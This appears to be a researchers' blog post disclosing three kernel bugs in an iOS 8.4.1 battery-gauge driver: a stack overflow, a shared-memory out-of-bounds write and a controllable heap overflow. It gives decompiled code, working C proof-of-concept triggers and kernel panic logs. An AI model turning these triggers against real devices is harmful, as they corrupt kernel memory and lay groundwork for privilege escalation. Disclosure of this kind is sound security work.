iOS 8.4.1 Kernel Vulnerabilities in AppleHDQGasGaugeControl

When auditing iOS kernel executable, we found that the code quality of com.apple.driver.AppleHDQGasGaugeControl is very bad. In this blog, we will disclose 3 vulnerabilities in this kernel extension on the latest public iOS (version 8.4.1). More importantly, one of these bugs is a perfect heap overflow vulnerability that allows us to defeat all kernel mitigations and gain code execution in the kernel, just by exploiting this single vulnerability.

1st – Stack overflow bug in the function for selector 7

The handler function takes 3 input scalars and 1 output scalar. The following code shows that stack overflow may occur since there’s no restriction for inputScalar[1]. If inputScalar[1] is a very large number, the loop will corrupt the stack.

  int v17; // [sp+0h] [bp-3Ch]@5
  int v18; // [sp+10h] [bp-2Ch]@25

  if ( inputScalar[1] )
  {
    v10 = 0;
    do
    {
      v11 = -64;
      if ( (1 << v10) & inputScalar[0] )
        v11 = -2;
      *((_BYTE *)&v17 + v10++) = v11;       // v17 is on the stack
    }
    while ( inputScalar[1] != v10 );
  }

The POC is extremely simple. We try to open the service at first and call the panic1 function to trigger the stack overflow.

void panic1(io_connect_t connection)
{
    uint64_t inputScalar[3];
    uint64_t outputScalar[1] = {0};
    uint32_t outputCnt = 1;

    inputScalar[0] = 0xF000000;
    inputScalar[1] = 0xF000000;
    inputScalar[2] = 0xF000000;

    IOConnectCallMethod(connection, 7, inputScalar, 3, NULL, 0, outputScalar, &outputCnt, NULL, NULL);
}

int main(int argc, const char * argv[])
{
    CFMutableDictionaryRef matching = IOServiceMatching("AppleHDQGasGaugeControl");
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
    io_connect_t connection;
    kern_return_t kr  = IOServiceOpen(service, mach_task_self(), 0, &connection);
    if(KERN_SUCCESS == kr){
        panic1(connection);
    }
    return 0;
}

PANIC LOG

panic(cpu 1 caller 0x950b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x93034000
r0:   0x000004ac  r1: 0x00000001  r2: 0x93033b54  r3: 0xffffffc0
r4:   0x0f000000  r5: 0x971ddc00  r6: 0x0f000000  r7: 0x93033b90
r8:   0x93033bd0  r9: 0x145d1371 r10: 0x0f000000 r11: 0x9540a390
r12:  0x00f42400  sp: 0x93033b54  lr: 0x95ccffcb  pc: 0x95ccfeda
cpsr: 0x60000033 fsr: 0x00000807 far: 0x93034000

Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000015000000
Kernel text base: 0x95001000
  Boot    : 0x55eebb5c 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eebbf2 0x000413c9

Panicked task 0xb6d20318: 247 pages, 1 threads: pid 180: m1
panicked thread: 0x813f75e0, backtrace: 0x93033820
        0x950b5cc9
        0x950b6061
        0x9501ee2b
        0x950b8e95
        0x950b1800
        0xc0c0c0c0   <------ the stack is corrupted
        0x00000000

2nd – Out-of-bound memory access bug in the function for selector 14

The handler function doesn’t taket any input, instead it will deal with the share memory. As discussed in our Blackhat talk, it is very easy to control the content of the share memory via calling IOConnectMapMemory. By checking the start function we will see how the driver initializes the share memory.

  v8 = (IOBufferMemoryDescriptor *)IOBufferMemoryDescriptor::withOptions(0x10000, 4096, 1);
  *(_DWORD *)(v2 + 100) = v8;
  if ( v8 )
  {
    mapAddr = (void *)(*(_DWORD (__cdecl **)(IOBufferMemoryDescriptor *))(*(_DWORD *)v8 + 220))(v8);
    *(_DWORD *)(v2 + 104) = mapAddr;    // object+104 stores the memory address
    bzero_130(mapAddr, 0x1000u);
    *(_DWORD *)(*(_DWORD *)(v2 + 104) + 20) = 339;  // memory+20 stores the total count

Actually the memory is used to store an array of data which is 12 bytes of each element. So 4KB memory can hold 339 elements. Then let’s further check how the function deals with the share memory.

      mapAddr = *(_DWORD *)(self + 104);    // get memory address of share memory
      // mod 339 to get position for writing
      v9 = sub_80CF4A20(*(_QWORD *)(mapAddr + 16), *(_QWORD *)(mapAddr + 16) >> 32);
      v10 = v9;
      v11 = mapAddr + 12 * v9    // v11 may point outside the memory
      *(_BYTE *)(v11 + 28) = v7;
      v11 += 28;
      *(_BYTE *)(v11 + 3) = BYTE3(v7);
      *(_BYTE *)(v11 + 2) = (unsigned int)v7 >> 16;
      *(_BYTE *)(v11 + 1) = BYTE1(v7);
      *(_QWORD *)(v11 + 4) = *(_QWORD *)(mapAddr + 8); // writing with controlled source

The problem is that the driver trusts the total count number stored in share memory which could be easily modified. So if we are able to know the memory address (which may require some other information leak bugs) we could make v11 points to any 12 bytes aligned kernel address. And then we can modify a qword value to whatever we want. Please check the function panic2 below.

void panic2(io_connect_t connection)
{
    vm_address_t address = 0;
    vm_size_t vmsize = 4096;
    kern_return_t kr = IOConnectMapMemory(connection, 0, mach_task_self(), &address, &vmsize, kIOMapAnywhere);
    if (kr != KERN_SUCCESS || vmsize != 4096) {
        return;
    }

    *(uint32_t *)(address + 16) = 0xAAAAAAA;
    *(uint32_t *)(address + 20) = 0;  // change 339 to 0

    IOConnectCallMethod(connection, 14, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
}

PANIC LOG

panic(cpu 1 caller 0x908b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x5f33b014
r0:   0x00000000  r1: 0xdf33b000  r2: 0x5f33aff8  r3: 0x00000000
r4:   0x0aaaaaaa  r5: 0x929abe40  r6: 0x00000001  r7: 0xddf43ba4
r8:   0x0000009e  r9: 0x068e5372 r10: 0x00000000 r11: 0x0000009e
r12:  0x00f42400  sp: 0xddf43b60  lr: 0x00000000  pc: 0x914d04c6
cpsr: 0x80000033 fsr: 0x00000805 far: 0x5f33b014

Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000010800000
Kernel text base: 0x90801000
  Boot    : 0x55eeb77c 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eeb8b0 0x00004a05

Note: The offset of share memory above is for 32bit kernel

3rd – Heap overflow bug in the function for selector 12

The input of this handler function is one scalar number and one structure. Also it requires inputScalar[0] <= 3 and (inputStructSize & 7) == 0. Let’s look at the buggy code.

  v5 = a1;
  if ( inputSize )
  {
    v6 = (char *)inputStruct + 4;
    v7 = 0;
    v8 = 0;
    while ( 1 )
    {
      v9 = (int)&v6[8 * v8];
      v10 = *(_BYTE *)(v9 + 3);
      v11 = *(_BYTE *)(v9 + 1);
      v12 = *(_BYTE *)(v9 + 2);
      result = 0xE00002C2;
      v14 = (unsigned __int8)v6[8 * v8] | (v11 << 8) | ((v12 | (v10 << 8)) << 16);
      if ( v14 > 19 )
      {
        if ( v14 != 20 )
          return result;
        v15 = 32;
      }
      else
      {
        v15 = 4;
        if ( (unsigned int)v14 >= 3 && v14 != 10 )
        {
          if ( v14 != -1 )
            return result;
          goto LABEL_12;    // break if -1 is found, at this time v8 < inputSize
        }
      }
      ++v8;
      v7 += v15;
      if ( v8 >= inputSize )
        goto LABEL_12;  // break normally with v8 == inputSize
    }
  }
  v7 = 0;
  v8 = 0;
LABEL_12:
  v16 = (void *)IOMalloc_130(8 * v8);       // memory size is 8*v8
  *(_DWORD *)(v5 + 8) = v16;
  if ( v16 )
  {
    memmove_130(v16, inputStruct, 8 * inputSize);  // heap overflow when v8 < inputSize
    result = 0;
    *(_DWORD *)v5 = v8;
    *(_DWORD *)(v5 + 4) = v7;
  }

Through this code we will see it checks the input structure every 8 bytes and takes -1 as an end. And then it allocates memory according to the size may be smaller than the real input structure size. BUT when copying memory it use the real input structure size again, which causes a heap overflow.

This is really a perfect bug since we can control:
– the size of the heap to be overflown, that means you may choose any kalloc zone to attack
– the size and content of data to overwrite after the heap

Combining with the vm_map_copy heap Fengshui skill, this single bug allows us to defeat all current kernel mitigations. We give a simple POC here.

void panic3(io_connect_t connection)
{
    uint64_t inputScalar[1];
    uint8_t structData[1024];
    uint32_t structSize = 1024;

    inputScalar[0] = 0;
    memset(structData, 0x88, sizeof(structData));
    *(uint32_t *)&structData[4] = 1;
    *(uint32_t *)&structData[4+8] = 0xFFFFFFFF;  // indicate end

    IOConnectCallMethod(connection, 12, inputScalar, 1, structData, structSize, NULL, NULL, NULL, NULL);
}

PANIC LOG

panic(cpu 0 caller 0x95a47d41): "a freed zone element has been modified in zone kalloc.8: expected 0xf66f1cb2 but found 0x88888888, bits changed 0x7ee7943a, at offset 4 of 8 in element 0xbce83c08, cookies 0x7ee7943a 0x7ed803f9"
Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000015a00000
Kernel text base: 0x95a01000
  Boot    : 0x55eeb9ec 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eebb50 0x000d2a69

End

Note that these vulnerabilities cannot be triggered inside the container sandbox. And we confirmed that the 2nd and the 3rd bugs are already fixed in iOS 9 beta5.

发表评论

电子邮件地址不会被公开。 必填项已用*标注